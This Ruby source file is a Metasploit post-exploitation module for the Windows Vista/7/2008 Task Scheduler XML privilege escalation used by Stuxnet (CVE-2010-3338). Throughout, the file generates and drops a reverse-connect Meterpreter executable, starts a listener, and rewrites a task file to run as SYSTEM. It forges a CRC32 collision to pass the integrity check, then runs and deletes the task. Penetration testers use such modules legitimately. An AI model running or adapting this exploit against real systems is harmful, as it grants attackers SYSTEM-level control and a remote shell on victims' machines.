##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'zlib'


class Metasploit3 < Msf::Post

	def initialize(info={})
		super(update_info(info,
			'Name'          => 'Microsoft Windows Vista+ Task Scheduler XML Privilege Escalation',
			'Description'   => %q{
					This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
				When processing task files, the Windows Task Scheduler only uses a CRC32
				checksum to validate that the file has not been tampered with. Also, In a default
				configuration, normal users can read and write the task files that they have
				created. By modifying the task file and creating a CRC32 collision, an attacker
				can execute arbitrary commands with SYSTEM privileges.

				NOTE: Thanks to webDEViL for the information about disable/enable.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'jduck' ],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'References'    =>
				[
					[ 'OSVDB', '68518' ],
					[ 'CVE', '2010-3338' ],
					[ 'BID', '44357' ],
					[ 'MSB', 'MS10-092' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15589/' ]
				],
			'DisclosureDate'=> 'Sep 13 2010'
		))

		register_options([
			OptString.new("CMD",      [ false, "Command to execute instead of a payload" ]),
			OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]),
			OptAddress.new("RHOST",   [ false, "Host" ]),
			OptPort.new("RPORT",      [ false, "Port", 4444 ])
		])

	end

	def run
		if session.sys.config.sysinfo["Architecture"] =~ /wow64/i
			#
			# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
			# worse, meterpreter/railgun creates things in a new thread, making it much more
			# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
			# offer a workaround and error out.
			#
			print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
			return
		end

		vuln = false
		winver = session.sys.config.sysinfo["OS"]
		affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
		affected.each { |v|
			if winver.include? v
				vuln = true
				break
			end
		}
		if not vuln
			print_error("#{winver} is not vulnerable.")
			return
		end

		rhost = datastore["RHOST"] || Rex::Socket.source_address
		rport = datastore["RPORT"] || 4444
		taskname = datastore["TASKNAME"] || nil
		cmd = datastore["CMD"] || nil
		upload_fn = nil

		if not cmd
			print_status("Using default reverse-connect meterpreter payload; no CMD specified")

			# Get the exe payload.
			pay = session.framework.payloads.create("windows/meterpreter/reverse_tcp")
			pay.datastore['LHOST'] = rhost
			pay.datastore['LPORT'] = rport
			raw  = pay.generate
			exe = Msf::Util::EXE.to_win32pe(session.framework, raw)
			#and placing it on the target in %TEMP%
			tempdir = session.fs.file.expand_path("%TEMP%")
			tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
			cmd = tempdir + "\\" + tempexename + ".exe"
			print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
			fd = session.fs.file.new(cmd, "wb")
			fd.write(exe)
			fd.close

			#get handler to be ready
			handler = session.framework.exploits.create("multi/handler")
			handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
			handler.datastore['LHOST']   = rhost
			handler.datastore['LPORT']   = rport
			handler.datastore['InitialAutoRunScript'] = "migrate -f"
			#handler.datastore['ExitOnSession'] = false
			handler.datastore['ExitOnSession'] = true
			#start a handler to be ready
			handler.exploit_module = self
			handler.exploit_simple(
				'LocalInput'  => self.user_input,
				'LocalOutput' => self.user_output,
				'Payload'  => handler.datastore['PAYLOAD'],
				'RunAsJob' => true
			)
		else
			print_status("Using command: #{cmd}")
		end

		#
		# Upload the payload command if needed
		#
		sysdir = session.fs.file.expand_path("%SystemRoot%")
		tmpdir = session.fs.file.expand_path("%TEMP%")
		if upload_fn
			begin
				location = tmpdir.dup
				ext = upload_fn.split('.')
				if ext
					ext = ext.last.downcase
					if ext == "exe"
						location << "\\svhost#{rand(100)}.exe"
					else
						location << "\\TMP#{rand(100)}.#{ext}"
					end
				else
					location << "\\TMP#{rand(100)}"
				end

				print_status("Uploading #{upload_fn} to #{location}....")
				session.fs.file.upload_file(location, upload_fn)
				print_status("Upload complete.")
			rescue ::Exception => e
				print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
				raise e
			end

			cmd ||= location
		end
		#
		# Create a new task to do our bidding, but make sure it doesn't run.
		#
		taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
		taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"

		print_status("Creating task: #{taskname}")
		cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
		exec_schtasks(cmdline, "create the task")

		#
		# Read the contents of the newly creates task file
		#
		content = read_task_file(taskname, taskfile)

		#
		# Double-check that we got what we expect.
		#
		if content[0,2] != "\xff\xfe"
			#
			# Convert to unicode, since it isn't already
			#
			content = content.unpack('C*').pack('v*')
		else
			#
			# NOTE: we strip the BOM here to exclude it from the crc32 calculation
			#
			content = content[2,content.length]
		end


		#
		# Record the crc32 for later calculations
		#
		old_crc32 = crc32(content)
		print_status("Original CRC32: 0x%x" % old_crc32)

		#
		# Convert the file contents from unicode
		#
		content = content.unpack('v*').pack('C*')

		#
		# Mangle the contents to now run with SYSTEM privileges
		#
		content.gsub!('LeastPrivilege', 'HighestAvailable')
		content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
		content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
		#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
		content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
		content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
		content << "<!-- ZZ -->"

		#
		# Convert it back to unicode
		#
		content = Rex::Text.to_unicode(content)

		#
		# Fix it so the CRC matches again
		#
		fix_crc32(content, old_crc32)
		new_crc32 = crc32(content)
		print_status("Final CRC32: 0x%x" % new_crc32)

		#
		# Write the new content back
		#
		print_status("Writing our modified content back...")
		fd = session.fs.file.new(taskfile, "wb")
		fd.write "\xff\xfe" + content
		fd.close

		#
		# Run the task :-)
		#
		print_status("Disabling the task...")
		exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")

		print_status("Enabling the task...")
		exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")

		print_status("Executing the task...")
		exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")


		#
		# And delete it.
		#
		print_status("Deleting the task...")
		exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")
	end

	def crc32(data)
		table = Zlib.crc_table
		crc = 0xffffffff
		data.unpack('C*').each { |b|
			crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
		}
		crc
	end

	def fix_crc32(data, old_crc)
		#
		# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
		# reversed from Microsoft's code)
		#
		bwd_table = [
			0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
			0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
			0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
			0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
			0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
			0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
			0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
			0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
			0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
			0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
			0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
			0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
			0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
			0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
			0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
			0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
			0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
			0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
			0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
			0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
			0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
			0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
			0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
			0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
			0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
			0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
			0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
			0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
			0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
			0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
			0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
			0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
			0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
			0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
			0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
			0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
			0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
			0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
			0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
			0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
			0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
			0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
			0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
			0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
			0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
			0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
			0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
			0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
			0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
			0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
			0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
			0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
			0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
			0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
			0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
			0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
			0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
			0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
			0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
			0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
			0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
			0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
			0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
			0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
		]

		crc = crc32(data[0, data.length - 12])
		data[-12, 4] = [crc].pack('V')

		data[-12, 12].unpack('C*').reverse.each { |b|
			old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
		}
		data[-12, 4] = [old_crc].pack('V')
	end

	def exec_schtasks(cmdline, purpose)
		lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
		success = false
		lns.each_line { |ln|
			ln.chomp!
			if ln =~ /^SCHELEVATOR$/
				success = true
			else
				print_status(ln)
			end
		}
		raise "Unable to #{purpose}!" if not success
	end


	def read_task_file(taskname, taskfile)
		print_status("Reading the task file contents from #{taskfile}...")

		# Can't read the file directly on 2008?
		content = ''
		fd = session.fs.file.new(taskfile, "rb")
		until fd.eof?
			content << fd.read
		end
		fd.close

		content
	end

end